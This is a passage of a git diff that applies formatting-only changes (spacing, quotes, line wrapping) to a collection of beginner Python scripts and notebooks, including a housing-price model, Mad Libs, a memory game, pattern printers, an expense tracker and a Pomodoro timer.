alpha=0.8)" ] }, { @@ -1046,7 +1051,7 @@ } ], "source": [ - "median=housing[\"RM\"].median()\n", + "median = housing[\"RM\"].median()\n", "housing[\"RM\"].fillna(median)\n", "housing.shape" ] @@ -1069,7 +1074,8 @@ ], "source": [ "from sklearn.impute import SimpleImputer\n", - "imputer = SimpleImputer(strategy = \"median\")\n", + "\n", + "imputer = SimpleImputer(strategy=\"median\")\n", "imputer.fit(housing)" ] }, @@ -1308,8 +1314,8 @@ } ], "source": [ - "X= imputer.transform(housing)\n", - "housing_tr =pd.DataFrame(X,columns = housing.columns)\n", + "X = imputer.transform(housing)\n", + "housing_tr = pd.DataFrame(X, columns=housing.columns)\n", "housing_tr.describe()" ] }, @@ -1361,10 +1367,10 @@ "source": [ "from sklearn.pipeline import Pipeline\n", "from sklearn.preprocessing import StandardScaler\n", - "my_pipeline= Pipeline([\n", - " ('imputer',SimpleImputer(strategy=\"median\")),\n", - " ('std_scaler',StandardScaler())\n", - "])" + "\n", + "my_pipeline = Pipeline(\n", + " [(\"imputer\", SimpleImputer(strategy=\"median\")), (\"std_scaler\", StandardScaler())]\n", + ")" ] }, { @@ -1373,7 +1379,7 @@ "metadata": {}, "outputs": [], "source": [ - "housing_num_tr =my_pipeline.fit_transform(housing)" + "housing_num_tr = my_pipeline.fit_transform(housing)" ] }, { @@ -1423,8 +1429,9 @@ ], "source": [ "from sklearn.ensemble import RandomForestRegressor\n", - "#model = LinearRegression()\n", - "#model = DecisionTreeRegressor()\n", + "\n", + "# model = LinearRegression()\n", + "# model = DecisionTreeRegressor()\n", "model = RandomForestRegressor()\n", "model.fit(housing_num_tr, housing_labels)" ] @@ -1495,9 +1502,10 @@ "outputs": [], "source": [ "from sklearn.metrics import mean_squared_error\n", - "housing_predictions=model.predict(housing_num_tr)\n", - "lin_mse= mean_squared_error(housing_labels, housing_predictions)\n", - "lin_rmse=np.sqrt(lin_mse)" + "\n", + "housing_predictions = model.predict(housing_num_tr)\n", + "lin_mse = mean_squared_error(housing_labels, housing_predictions)\n", + "lin_rmse = np.sqrt(lin_mse)" ] }, { @@ -1554,7 +1562,10 @@ "outputs": [], "source": [ "from sklearn.model_selection import cross_val_score\n", - "scores = cross_val_score(model, housing_num_tr, housing_labels,scoring=\"neg_mean_squared_error\",cv=10)\n", + "\n", + "scores = cross_val_score(\n", + " model, housing_num_tr, housing_labels, scoring=\"neg_mean_squared_error\", cv=10\n", + ")\n", "rmse_scores = np.sqrt(-scores)" ] }, @@ -1586,9 +1597,9 @@ "outputs": [], "source": [ "def print_scores(scores):\n", - " print(\"scores: \",scores)\n", - " print(\"Mean: \",scores.mean())\n", - " print(\"Standard deviation: \",scores.std()) " + " print(\"scores: \", scores)\n", + " print(\"Mean: \", scores.mean())\n", + " print(\"Standard deviation: \", scores.std())" ] }, { @@ -1636,7 +1647,8 @@ ], "source": [ "from joblib import dump\n", - "dump(model, 'HousingPricePredicter.joblib')" + "\n", + "dump(model, \"HousingPricePredicter.joblib\")" ] }, { @@ -1652,7 +1664,7 @@ "metadata": {}, "outputs": [], "source": [ - "X_test = strat_test_set.drop(\"MEDV\" , axis=1)\n", + "X_test = strat_test_set.drop(\"MEDV\", axis=1)\n", "Y_test = strat_test_set[\"MEDV\"].copy()\n", "X_test_prepared = my_pipeline.transform(X_test)\n", "final_predictions = model.predict(X_test_prepared)\n", diff --git a/Mad Libs Generator.py b/Mad Libs Generator.py index e8bd53b3a93..652716a2ae6 100644 --- a/Mad Libs Generator.py +++ b/Mad Libs Generator.py @@ -1,22 +1,22 @@ -#Loop back to this point once code finishes +# Loop back to this point once code finishes loop = 1 -while (loop < 10): -# All the questions that the program asks the user +while loop < 10: + # All the questions that the program asks the user noun = input("Choose a noun: ") p_noun = input("Choose a plural noun: ") noun2 = input("Choose a noun: ") place = input("Name a place: ") adjective = input("Choose an adjective (Describing word): ") noun3 = input("Choose a noun: ") -# Displays the story based on the users input - print ("------------------------------------------") - print ("Be kind to your",noun,"- footed", p_noun) - print ("For a duck may be somebody's", noun2,",") - print ("Be kind to your",p_noun,"in",place) - print ("Where the weather is always",adjective,".") - print () - print ("You may think that is this the",noun3,",") - print ("Well it is.") - print ("------------------------------------------") -# Loop back to "loop = 1" + # Displays the story based on the users input + print("------------------------------------------") + print("Be kind to your", noun, "- footed", p_noun) + print("For a duck may be somebody's", noun2, ",") + print("Be kind to your", p_noun, "in", place) + print("Where the weather is always", adjective, ".") + print() + print("You may think that is this the", noun3, ",") + print("Well it is.") + print("------------------------------------------") + # Loop back to "loop = 1" loop = loop + 1 diff --git a/Memory_game.py b/Memory_game.py index 47d51808fb1..2b320623a92 100644 --- a/Memory_game.py +++ b/Memory_game.py @@ -28,10 +28,26 @@ # Liste des questions et réponses (préférences) questions = [ - {"question": "Quelle est sa couleur préférée ?", "réponse": "Rose", "image": "rose.jpg"}, - {"question": "Quel est son plat préféré ?", "réponse": "Pizza", "image": "pizza.jpg"}, - {"question": "Quel est son animal préféré ?", "réponse": "Chat", "image": "chat.jpg"}, - {"question": "Quel est son film préféré ?", "réponse": "La La Land", "image": "lalaland.jpg"} + { + "question": "Quelle est sa couleur préférée ?", + "réponse": "Rose", + "image": "rose.jpg", + }, + { + "question": "Quel est son plat préféré ?", + "réponse": "Pizza", + "image": "pizza.jpg", + }, + { + "question": "Quel est son animal préféré ?", + "réponse": "Chat", + "image": "chat.jpg", + }, + { + "question": "Quel est son film préféré ?", + "réponse": "La La Land", + "image": "lalaland.jpg", + }, ] # Créer les cartes avec des questions et réponses @@ -46,11 +62,13 @@ # Créer un dictionnaire pour les positions des cartes card_positions = [(x * CARD_SIZE, y * CARD_SIZE) for x in range(4) for y in range(4)] + # Fonction pour afficher le texte def display_text(text, font, color, x, y): text_surface = font.render(text, True, color) screen.blit(text_surface, (x, y)) + # Fonction pour dessiner les cartes def draw_cards(): for idx, pos in enumerate(card_positions): @@ -59,9 +77,12 @@ def draw_cards(): pygame.draw.rect(screen, WHITE, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE)) display_text(cards[idx], font, PINK, x + 10, y + 30) else: - pygame.draw.rect(screen, LIGHT_PINK, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE)) + pygame.draw.rect( + screen, LIGHT_PINK, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE) + ) pygame.draw.rect(screen, GREY, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE), 5) + # Variables du jeu visible = [False] * len(cards) flipped_cards = [] @@ -96,10 +117,34 @@ def draw_cards(): flipped_cards.clear() if score == len(questions): - display_text("Félicitations ! Vous êtes officiellement le plus grand fan de Malak.", font, PINK, 100, HEIGHT // 2) - display_text("Mais… Pour accéder au prix ultime (photo ultra exclusive + certificat de starlette n°1),", font_small, PINK, 30, HEIGHT // 2 + 40) - display_text("veuillez envoyer 1000$ à Malak Inc.", font_small, PINK, 150, HEIGHT // 2 + 70) - display_text("(paiement accepté en chocolat, câlins ou virement bancaire immédiat)", font_small, PINK, 100, HEIGHT // 2 + 100) + display_text( + "Félicitations ! Vous êtes officiellement le plus grand fan de Malak.", + font, + PINK, + 100, + HEIGHT // 2, + ) + display_text( + "Mais… Pour accéder au prix ultime (photo ultra exclusive + certificat de starlette n°1),", + font_small, + PINK, + 30, + HEIGHT // 2 + 40, + ) + display_text( + "veuillez envoyer 1000$ à Malak Inc.", + font_small, + PINK, + 150, + HEIGHT // 2 + 70, + ) + display_text( + "(paiement accepté en chocolat, câlins ou virement bancaire immédiat)", + font_small, + PINK, + 100, + HEIGHT // 2 + 100, + ) pygame.display.update() pygame.time.delay(3000) running = False diff --git a/Merge_linked_list.py b/Merge_linked_list.py index 5c1f61e1bcc..b5b38a7a132 100644 --- a/Merge_linked_list.py +++ b/Merge_linked_list.py @@ -10,7 +10,6 @@ def __init__(self, data): # Constructor to initialize the node object class LinkedList: - # Function to initialize head def __init__(self): self.head = None @@ -38,7 +37,6 @@ def append(self, new_data): # Function to merge two sorted linked list. def mergeLists(head1, head2): - # create a temp node NULL temp = None @@ -53,7 +51,6 @@ def mergeLists(head1, head2): # If List1's data is smaller or # equal to List2's data if head1.data <= head2.data: - # assign temp to List1's data temp = head1 @@ -76,7 +73,6 @@ def mergeLists(head1, head2): # Driver Function if __name__ == "__main__": - # Create linked list : # 10->20->30->40->50 list1 = LinkedList() diff --git a/Model Usage.ipynb b/Model Usage.ipynb index a5ea4ba5fb2..fbc01ccc46c 100644 --- a/Model Usage.ipynb +++ b/Model Usage.ipynb @@ -8,7 +8,8 @@ "source": [ "from joblib import load\n", "import numpy as np\n", - "model = load('HousingPricePredicter.joblib')" + "\n", + "model = load(\"HousingPricePredicter.joblib\")" ] }, { @@ -17,9 +18,25 @@ "metadata": {}, "outputs": [], "source": [ - "features = np.array([[-0.43942006, 3.12628155, -1.12165014, -0.27288841, -1.42262747,\n", - " -0.24141041, -1.31238772, 2.61111401, -1.0016859 , -0.5778192 ,\n", - " -0.97491834, 0.41164221, -0.86091034]])\n" + "features = np.array(\n", + " [\n", + " [\n", + " -0.43942006,\n", + " 3.12628155,\n", + " -1.12165014,\n", + " -0.27288841,\n", + " -1.42262747,\n", + " -0.24141041,\n", + " -1.31238772,\n", + " 2.61111401,\n", + " -1.0016859,\n", + " -0.5778192,\n", + " -0.97491834,\n", + " 0.41164221,\n", + " -0.86091034,\n", + " ]\n", + " ]\n", + ")" ] }, { diff --git a/Mp3_media_player.py b/Mp3_media_player.py index 0eff5d9c379..1a778d4da66 100644 --- a/Mp3_media_player.py +++ b/Mp3_media_player.py @@ -20,13 +20,11 @@ def directorychooser(): - directory = askdirectory() os.chdir(directory) for files in os.listdir(directory): if files.endswith(".mp3"): - realdir = os.path.realpath(files) audio = ID3(realdir) realnames.append(audio["TIT2"].text[0]) diff --git a/Multiply.py b/Multiply.py index ab37d64d0d2..c8e1b52228f 100644 --- a/Multiply.py +++ b/Multiply.py @@ -1,11 +1,12 @@ -def product(a,b): - if(a0): - dig=n%10 - rev=rev*10+dig - n=n//10 -print("Reverse of the number:",rev) +n = int(input("Enter number: ")) +rev = 0 +while n > 0: + dig = n % 10 + rev = rev * 10 + dig + n = n // 10 +print("Reverse of the number:", rev) diff --git a/PDF/demerge_pdfs.py b/PDF/demerge_pdfs.py index 12fcf081428..547708f73ac 100644 --- a/PDF/demerge_pdfs.py +++ b/PDF/demerge_pdfs.py @@ -3,17 +3,16 @@ to enhance the experience of reading and feasibility to study only specific parts from the large original textbook """ - import PyPDF2 + path = input() -merged_pdf = open(path, mode='rb') +merged_pdf = open(path, mode="rb") pdf = PyPDF2.PdfFileReader(merged_pdf) -(u, ctr, x) = tuple([0]*3) -for i in range(1, pdf.numPages+1): - +(u, ctr, x) = tuple([0] * 3) +for i in range(1, pdf.numPages + 1): if u >= pdf.numPages: print("Successfully done!") exit(0) @@ -21,15 +20,15 @@ ctr = int(input(f"Enter the number of pages for {name}: ")) u += ctr if u > pdf.numPages: - print('Limit exceeded! ') + print("Limit exceeded! ") break - base_path = '/Users/darpan/Desktop/{}.pdf' + base_path = "/Users/darpan/Desktop/{}.pdf" path = base_path.format(name) - f = open(path, mode='wb') + f = open(path, mode="wb") pdf_writer = PyPDF2.PdfFileWriter() - for j in range(x, x+ctr): + for j in range(x, x + ctr): page = pdf.getPage(j) pdf_writer.addPage(page) diff --git a/PDFtoAudiobook.py b/PDFtoAudiobook.py index 8a679000e66..648eaa23fcf 100644 --- a/PDFtoAudiobook.py +++ b/PDFtoAudiobook.py @@ -1,11 +1,12 @@ import pyttsx3 import pyPDF2 -book = open('book.pdf','rb') + +book = open("book.pdf", "rb") pdfreader = pyPDF2.PdfFileReader(book) pages = pdfreader.numPages print(pages) speaker = pyttsx3.init() -page= pdfreader.getpage(7) +page = pdfreader.getpage(7) text = page.extractText() speaker.say(text) speaker.runAndWait() diff --git a/PONG_GAME.py b/PONG_GAME.py index 8ddec6661de..59b6e566c3d 100644 --- a/PONG_GAME.py +++ b/PONG_GAME.py @@ -45,7 +45,14 @@ def new_game(): def draw(canvas): - global paddle1_pos, paddle2_pos, ball_pos, ball_vel, paddle1_vel, paddle2_vel, BALL_RADIUS + global \ + paddle1_pos, \ + paddle2_pos, \ + ball_pos, \ + ball_vel, \ + paddle1_vel, \ + paddle2_vel, \ + BALL_RADIUS global score1, score2 canvas.draw_line([WIDTH / 2, 0], [WIDTH / 2, HEIGHT], 1, "White") diff --git a/Palindrome_Checker.py b/Palindrome_Checker.py index 598c16d940d..6f70f0e1c9f 100644 --- a/Palindrome_Checker.py +++ b/Palindrome_Checker.py @@ -1,8 +1,9 @@ """ A simple method is , to reverse the string and and compare with original string. -If both are same that's means string is palindrome otherwise else. +If both are same that's means string is palindrome otherwise else. """ + phrase = input() if phrase == phrase[::-1]: # slicing technique """phrase[::-1] this code is for reverse a string very smartly""" diff --git a/Password Generator/pass_gen.py b/Password Generator/pass_gen.py index 1aa2e991e66..82b939cd882 100644 --- a/Password Generator/pass_gen.py +++ b/Password Generator/pass_gen.py @@ -38,11 +38,15 @@ class Interface: @classmethod def change_has_characters(cls, change): try: - cls.has_characters[change] # to check if the specified key exists in the dicitonary + cls.has_characters[ + change + ] # to check if the specified key exists in the dicitonary except Exception as err: print(f"Invalid \nan Exception: {err}") else: - cls.has_characters[change] = not cls.has_characters[change] #automaticly changres to the oppesite value already there + cls.has_characters[change] = not cls.has_characters[ + change + ] # automaticly changres to the oppesite value already there print(f"{change} is now set to {cls.has_characters[change]}") @classmethod diff --git a/Patterns/half triangle pattern.py b/Patterns/half triangle pattern.py index 4a87b93f7c4..9bdf4ecb3b8 100644 --- a/Patterns/half triangle pattern.py +++ b/Patterns/half triangle pattern.py @@ -1,22 +1,23 @@ - # (upper half - repeat) - #1 - #22 - #333 - - # (upper half - incremental) - #1 - #12 - #123 - - # (lower half - incremental) - #123 - #12 - #1 - - # (lower half - repeat) - #333 - #22 - #1 +# (upper half - repeat) +# 1 +# 22 +# 333 + +# (upper half - incremental) +# 1 +# 12 +# 123 + +# (lower half - incremental) +# 123 +# 12 +# 1 + +# (lower half - repeat) +# 333 +# 22 +# 1 + def main(): lines = int(input("Enter no.of lines: ")) @@ -40,30 +41,29 @@ def main(): print("Invalid input") exit(0) -def upper_half_repeat_pattern(lines=5): - for column in range(1, (lines +1)): - print(f"{str(column) * column}") + +def upper_half_repeat_pattern(lines=5): + for column in range(1, (lines + 1)): + print(f"{str(column) * column}") def lower_half_repeat_pattern(lines=5): - for length in range(lines, 0, -1): - print(f"{str(length) * length}") + for length in range(lines, 0, -1): + print(f"{str(length) * length}") def upper_half_incremental_pattern(lines=5): - const="" - for column in range(1, (lines +1)): - const+=str(column) - print(const) - + const = "" + for column in range(1, (lines + 1)): + const += str(column) + print(const) def lower_half_incremental_pattern(lines=5): - for row_length in range(lines, 0, -1): - for x in range(1,row_length+1): - print(x,end='') - print() - + for row_length in range(lines, 0, -1): + for x in range(1, row_length + 1): + print(x, end="") + print() if __name__ == "__main__": diff --git a/Patterns/pattern2.py b/Patterns/pattern2.py index 84093334cb0..b1d7b8ba3e6 100644 --- a/Patterns/pattern2.py +++ b/Patterns/pattern2.py @@ -1,5 +1,5 @@ -#pattern -#$$$$$$$$$$$ +# pattern +# $$$$$$$$$$$ # $$$$$$$$$ # $$$$$$$ # $$$$$ @@ -7,17 +7,17 @@ # $ - def main(): lines = int(input("Enter no.of lines: ")) pattern(lines) + def pattern(lines): - flag=lines - for i in range(lines): - print(" "*(i),'$'*(2*flag-1)) - flag-=1 + flag = lines + for i in range(lines): + print(" " * (i), "$" * (2 * flag - 1)) + flag -= 1 + if __name__ == "__main__": main() - diff --git a/Patterns/pattern5.py b/Patterns/pattern5.py index d0c20b8afb9..c9a9643e262 100644 --- a/Patterns/pattern5.py +++ b/Patterns/pattern5.py @@ -1,19 +1,22 @@ -#pattern Reverse piramid of numbers -#1 -#21 -#321 -#4321 -#54321 +# pattern Reverse piramid of numbers +# 1 +# 21 +# 321 +# 4321 +# 54321 + def main(): lines = int(input("Enter the number of lines: ")) pattern(lines) -def pattern(rows): - const='' - for i in range(1, rows+1): - const=str(i)+const + +def pattern(rows): + const = "" + for i in range(1, rows + 1): + const = str(i) + const print(const) + if __name__ == "__main__": main() diff --git a/Patterns/pattern6.py b/Patterns/pattern6.py index 1f02d6ce55a..1384619b0ad 100644 --- a/Patterns/pattern6.py +++ b/Patterns/pattern6.py @@ -1,17 +1,18 @@ # Python code to print the following alphabet pattern -#A -#B B -#C C C -#D D D D -#E E E E E +# A +# B B +# C C C +# D D D D +# E E E E E def alphabetpattern(n): num = 65 for i in range(0, n): - for j in range(0, i+1): + for j in range(0, i + 1): ch = chr(num) print(ch, end=" ") num = num + 1 print("\r") + a = 5 alphabetpattern(a) diff --git a/Patterns/patterns.py b/Patterns/patterns.py index 9aa70bd0883..f71a38c04eb 100644 --- a/Patterns/patterns.py +++ b/Patterns/patterns.py @@ -14,16 +14,19 @@ # * * # * + def main(): lines = int(input("Enter no.of lines: ")) pattern(lines) + def pattern(lines): - for i in range(1,lines+1): - print("* "*i) - print() + for i in range(1, lines + 1): + print("* " * i) + print() for i in range(lines): - print(" "*i,"* "*(lines-i)) + print(" " * i, "* " * (lines - i)) + if __name__ == "__main__": - main() + main() diff --git a/Pc_information.py b/Pc_information.py index 3117d78bdfa..a56c8b8764e 100644 --- a/Pc_information.py +++ b/Pc_information.py @@ -1,11 +1,13 @@ -import platform # built in lib - -print(f"System : {platform.system()}") # Prints type of Operating System -print(f"System name : {platform.node()}") # Prints System Name -print(f"version : {platform.release()}") # Prints System Version -# TO get the detailed version number -print(f"detailed version number : {platform.version()}") # Prints detailed version number -print(f"System architecture : {platform.machine()}") # Prints whether the system is 32-bit ot 64-bit -print(f"System processor : {platform.processor()}") # Prints CPU model - +import platform # built in lib +print(f"System : {platform.system()}") # Prints type of Operating System +print(f"System name : {platform.node()}") # Prints System Name +print(f"version : {platform.release()}") # Prints System Version +# TO get the detailed version number +print( + f"detailed version number : {platform.version()}" +) # Prints detailed version number +print( + f"System architecture : {platform.machine()}" +) # Prints whether the system is 32-bit ot 64-bit +print(f"System processor : {platform.processor()}") # Prints CPU model diff --git a/Personal-Expense-Tracker/expense_tracker.py b/Personal-Expense-Tracker/expense_tracker.py index 12d6b4a33c2..d438734f3e2 100644 --- a/Personal-Expense-Tracker/expense_tracker.py +++ b/Personal-Expense-Tracker/expense_tracker.py @@ -1,5 +1,6 @@ import datetime + def add_expense(expenses): amount = float(input("Enter the expense amount: ")) category = input("Category (food, travel, shopping, bills, etc.): ") @@ -10,9 +11,12 @@ def add_expense(expenses): print("Incorrect date format. Please use YYYY-MM-DD format.") return note = input("(Optional) Note: ") - expenses.append({"amount": amount, "category": category, "date": date, "note": note}) + expenses.append( + {"amount": amount, "category": category, "date": date, "note": note} + ) print("Expense added!") + def view_expenses(expenses, period="all", category_filter=None): if not expenses: print("No expenses recorded yet.") @@ -20,7 +24,9 @@ def view_expenses(expenses, period="all", category_filter=None): filtered_expenses = expenses if category_filter: - filtered_expenses = [e for e in filtered_expenses if e["category"] == category_filter] + filtered_expenses = [ + e for e in filtered_expenses if e["category"] == category_filter + ] if period == "day": date_str = input("Enter the date to view expenses for (YYYY-MM-DD): ") @@ -31,11 +37,15 @@ def view_expenses(expenses, period="all", category_filter=None): print("Incorrect date format.") return elif period == "week": - date_str = input("Enter the start date of the week (YYYY-MM-DD - first day of the week): ") + date_str = input( + "Enter the start date of the week (YYYY-MM-DD - first day of the week): " + ) try: start_date = datetime.datetime.strptime(date_str, "%Y-%m-%d").date() end_date = start_date + datetime.timedelta(days=6) - filtered_expenses = [e for e in filtered_expenses if start_date <= e["date"] <= end_date] + filtered_expenses = [ + e for e in filtered_expenses if start_date <= e["date"] <= end_date + ] except ValueError: print("Incorrect date format.") return @@ -45,7 +55,11 @@ def view_expenses(expenses, period="all", category_filter=None): try: year = int(year) month = int(month) - filtered_expenses = [e for e in filtered_expenses if e["date"].year == year and e["date"].month == month] + filtered_expenses = [ + e + for e in filtered_expenses + if e["date"].year == year and e["date"].month == month + ] except ValueError: print("Incorrect year or month format.") return @@ -57,27 +71,41 @@ def view_expenses(expenses, period="all", category_filter=None): print("\n--- Expenses ---") total_spent = 0 for expense in filtered_expenses: - print(f"Amount: {expense['amount']}, Category: {expense['category']}, Date: {expense['date']}, Note: {expense['note']}") - total_spent += expense['amount'] + print( + f"Amount: {expense['amount']}, Category: {expense['category']}, Date: {expense['date']}, Note: {expense['note']}" + ) + total_spent += expense["amount"] print(f"\nTotal spent: {total_spent}") + def save_expenses(expenses, filename="expenses.txt"): with open(filename, "w") as f: for expense in expenses: - f.write(f"{expense['amount']},{expense['category']},{expense['date']},{expense['note']}\n") + f.write( + f"{expense['amount']},{expense['category']},{expense['date']},{expense['note']}\n" + ) print("Expenses saved!") + def load_expenses(filename="expenses.txt"): expenses = [] try: with open(filename, "r") as f: for line in f: - amount, category, date_str, note = line.strip().split(',') - expenses.append({"amount": float(amount), "category": category, "date": datetime.datetime.strptime(date_str, "%Y-%m-%d").date(), "note": note}) + amount, category, date_str, note = line.strip().split(",") + expenses.append( + { + "amount": float(amount), + "category": category, + "date": datetime.datetime.strptime(date_str, "%Y-%m-%d").date(), + "note": note, + } + ) except FileNotFoundError: pass return expenses + def main(): expenses = load_expenses() @@ -91,22 +119,23 @@ def main(): choice = input("Choose your option: ") - if choice == '1': + if choice == "1": add_expense(expenses) - elif choice == '2': + elif choice == "2": period = input("View expenses by (day/week/month/all): ").lower() view_expenses(expenses, period) - elif choice == '3': + elif choice == "3": category_filter = input("Enter the category to filter by: ") view_expenses(expenses, category_filter=category_filter) - elif choice == '4': + elif choice == "4": save_expenses(expenses) - elif choice == '5': + elif choice == "5": save_expenses(expenses) print("Thank you!") break else: print("Invalid option. Please try again.") + if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/PingPong/Ball.py b/PingPong/Ball.py index 73961fc07f2..b1b9833f116 100644 --- a/PingPong/Ball.py +++ b/PingPong/Ball.py @@ -1,10 +1,10 @@ import pygame + pygame.init() -class Ball: +class Ball: def __init__(self, pos, vel, win, rad, minCoord, maxCoord): - self.pos = pos self.vel = vel self.win = win @@ -12,40 +12,27 @@ def __init__(self, pos, vel, win, rad, minCoord, maxCoord): self.minCoord = minCoord self.maxCoord = maxCoord - def drawBall(self): - - pygame.draw.circle(self.win, (255,)*3, self.pos, self.rad, 0) - + pygame.draw.circle(self.win, (255,) * 3, self.pos, self.rad, 0) def doHorizontalFlip(self): - self.vel[0] *= -1 print("Github") - def doVerticalFlip(self): - self.vel[1] *= -1 - def borderCollisionCheck(self): - if (self.pos[0] <= self.minCoord[0]) or (self.pos[0] >= self.maxCoord[0]): - self.doHorizontalFlip() if (self.pos[1] <= self.minCoord[1]) or (self.pos[1] >= self.maxCoord[1]): - self.doVerticalFlip() - def updatePos(self): + self.pos = [self.pos[0] + self.vel[0], self.pos[1] + self.vel[1]] - self.pos = [self.pos[0]+self.vel[0], self.pos[1]+self.vel[1]] - - - def checkSlabCollision(self, slabPos): # slab pos = [xmin, ymin, xmax, ymax] + def checkSlabCollision(self, slabPos): # slab pos = [xmin, ymin, xmax, ymax] if ( self.pos[0] + self.rad > slabPos[0] and self.pos[0] - self.rad < slabPos[2] diff --git a/PingPong/Slab.py b/PingPong/Slab.py index c5fb5d70bec..17b5bbac724 100644 --- a/PingPong/Slab.py +++ b/PingPong/Slab.py @@ -1,31 +1,41 @@ import pygame + pygame.init() + class Slab: def __init__(self, win, size, pos, player, minPos, maxPos): self.win = win self.size = size self.pos = pos - self.player = player #player = 1 or 2 + self.player = player # player = 1 or 2 self.minPos = minPos self.maxPos = maxPos - def draw(self): - pygame.draw.rect(self.win, (255, 255, 255), (self.pos[0], self.pos[1], self.size[0], self.size[1])) - + pygame.draw.rect( + self.win, + (255, 255, 255), + (self.pos[0], self.pos[1], self.size[0], self.size[1]), + ) + def getCoords(self): - return [self.pos[0], self.pos[1], self.pos[0] + self.size[0], self.pos[1] + self.size[1]] - + return [ + self.pos[0], + self.pos[1], + self.pos[0] + self.size[0], + self.pos[1] + self.size[1], + ] + def updatePos(self): keys = pygame.key.get_pressed() if self.player == 1: - if keys[pygame.K_UP] and self.getCoords()[1]> self.minPos[1]: + if keys[pygame.K_UP] and self.getCoords()[1] > self.minPos[1]: self.pos[1] -= 0.3 - if keys[pygame.K_DOWN] and self.getCoords()[3]< self.maxPos[1]: + if keys[pygame.K_DOWN] and self.getCoords()[3] < self.maxPos[1]: self.pos[1] += 0.3 else: - if keys[pygame.K_w] and self.getCoords()[1]> self.minPos[1]: + if keys[pygame.K_w] and self.getCoords()[1] > self.minPos[1]: self.pos[1] -= 0.3 - if keys[pygame.K_s] and self.getCoords()[3]< self.maxPos[1]: - self.pos[1] += 0.3 \ No newline at end of file + if keys[pygame.K_s] and self.getCoords()[3] < self.maxPos[1]: + self.pos[1] += 0.3 diff --git a/PingPong/main.py b/PingPong/main.py index 2892f8c9305..b98773e8c08 100644 --- a/PingPong/main.py +++ b/PingPong/main.py @@ -4,17 +4,17 @@ WIDTH = 600 HEIGHT = 600 -BLACK = (0,0,0) -WHITE = (255,)*3 +BLACK = (0, 0, 0) +WHITE = (255,) * 3 pygame.init() -win = pygame.display.set_mode((WIDTH, HEIGHT )) +win = pygame.display.set_mode((WIDTH, HEIGHT)) print("Controls: W&S for player 1 and arrow up and down for player 2") -ball = Ball([300,300 ], [0.3,0.1], win, 10, (0,0), (600,600)) -slab = Slab(win, [10,100], [500, 300], 1, (0, 0), (600, 600)) -slab2 = Slab(win, [10,100], [100, 300], 2, (0, 0), (600, 600)) +ball = Ball([300, 300], [0.3, 0.1], win, 10, (0, 0), (600, 600)) +slab = Slab(win, [10, 100], [500, 300], 1, (0, 0), (600, 600)) +slab2 = Slab(win, [10, 100], [100, 300], 2, (0, 0), (600, 600)) run = True while run: for event in pygame.event.get(): @@ -37,4 +37,4 @@ slab2.draw() pygame.display.update() -pygame.quit() \ No newline at end of file +pygame.quit() diff --git a/Pomodoro (tkinter).py b/Pomodoro (tkinter).py index 964963c5894..3b4c5b43205 100644 --- a/Pomodoro (tkinter).py +++ b/Pomodoro (tkinter).py @@ -13,7 +13,7 @@ "Green": "#9bdeac", "Blue": "#1f75fe", "Yellow": "#ffcc00", - "Purple": "#b19cd9" + "Purple": "#b19cd9", } # Global variables @@ -25,6 +25,7 @@ custom_work_min = DEFAULT_WORK_MIN custom_break_min = DEFAULT_BREAK_MIN + # ---------------------------- BACKGROUND COLOR CHANGE FUNCTION ------------------------------- # def change_background(*args): selected = bg_color_var.get() @@ -36,14 +37,22 @@ def change_background(*args): work_label.config(bg=new_color) break_label.config(bg=new_color) + # ---------------------------- NOTIFICATION FUNCTION ------------------------------- # def show_notification(message): notif = Toplevel(window) notif.overrideredirect(True) notif.config(bg=PINK) - msg_label = Label(notif, text=message, font=(FONT_NAME, 12, "bold"), - bg=GREEN, fg="white", padx=10, pady=5) + msg_label = Label( + notif, + text=message, + font=(FONT_NAME, 12, "bold"), + bg=GREEN, + fg="white", + padx=10, + pady=5, + ) msg_label.pack() window.update_idletasks() @@ -62,6 +71,7 @@ def show_notification(message): notif.after(3000, notif.destroy) + # ---------------------------- TIMER FUNCTIONS ------------------------------- # def reset_timer(): global ROUND, timer_mec, total_time, is_paused, remaining_time @@ -79,6 +89,7 @@ def reset_timer(): pause_button.config(state=DISABLED) play_button.config(state=DISABLED) + def start_timer(): global ROUND, total_time, is_paused canvas.itemconfig(progress_arc, extent=0) @@ -96,6 +107,7 @@ def start_timer(): play_button.config(state=DISABLED) is_paused = False + def count_down(count): global timer_mec, remaining_time remaining_time = count @@ -121,6 +133,7 @@ def count_down(count): ROUND += 1 start_timer() + def pause_timer(): global is_paused, timer_mec if not is_paused: @@ -130,6 +143,7 @@ def pause_timer(): pause_button.config(state=DISABLED) play_button.config(state=NORMAL) + def resume_timer(): global is_paused if is_paused: @@ -138,6 +152,7 @@ def resume_timer(): play_button.config(state=DISABLED) pause_button.config(state=NORMAL) + def set_custom_durations(): global custom_work_min, custom_break_min try: @@ -150,6 +165,7 @@ def set_custom_durations(): except ValueError: pass + # ---------------------------- UI SETUP ------------------------------- # window = Tk() window.title("Pomodoro") @@ -157,14 +173,22 @@ def set_custom_durations(): # Canvas setup with increased width for spacing canvas = Canvas(window, width=240, height=224, bg=PINK, highlightthickness=0) -timer_text = canvas.create_text(120, 112, text="00:00", font=(FONT_NAME, 35, "bold"), fill="white") -background_circle = canvas.create_arc(40, 32, 200, 192, start=0, extent=359.9, - style="arc", outline="white", width=5) -progress_arc = canvas.create_arc(40, 32, 200, 192, start=270, extent=0, - style="arc", outline="green", width=5) +timer_text = canvas.create_text( + 120, 112, text="00:00", font=(FONT_NAME, 35, "bold"), fill="white" +) +background_circle = canvas.create_arc( + 40, 32, 200, 192, start=0, extent=359.9, style="arc", outline="white", width=5 +) +progress_arc = canvas.create_arc( + 40, 32, 200, 192, start=270, extent=0, style="arc", outline="green", width=5 +) # Updated positions for work and break time labels -left_custom = canvas.create_text(20, 112, text=f"{custom_work_min}m", font=(FONT_NAME, 12, "bold"), fill="white") -right_custom = canvas.create_text(220, 112, text=f"{custom_break_min}m", font=(FONT_NAME, 12, "bold"), fill="white") +left_custom = canvas.create_text( + 20, 112, text=f"{custom_work_min}m", font=(FONT_NAME, 12, "bold"), fill="white" +) +right_custom = canvas.create_text( + 220, 112, text=f"{custom_break_min}m", font=(FONT_NAME, 12, "bold"), fill="white" +) canvas.grid(column=1, row=1) @@ -177,31 +201,43 @@ def set_custom_durations(): reset_button = Button(text="Reset", command=reset_timer, highlightthickness=0) reset_button.grid(column=2, row=2) -pause_button = Button(text="Pause", command=pause_timer, 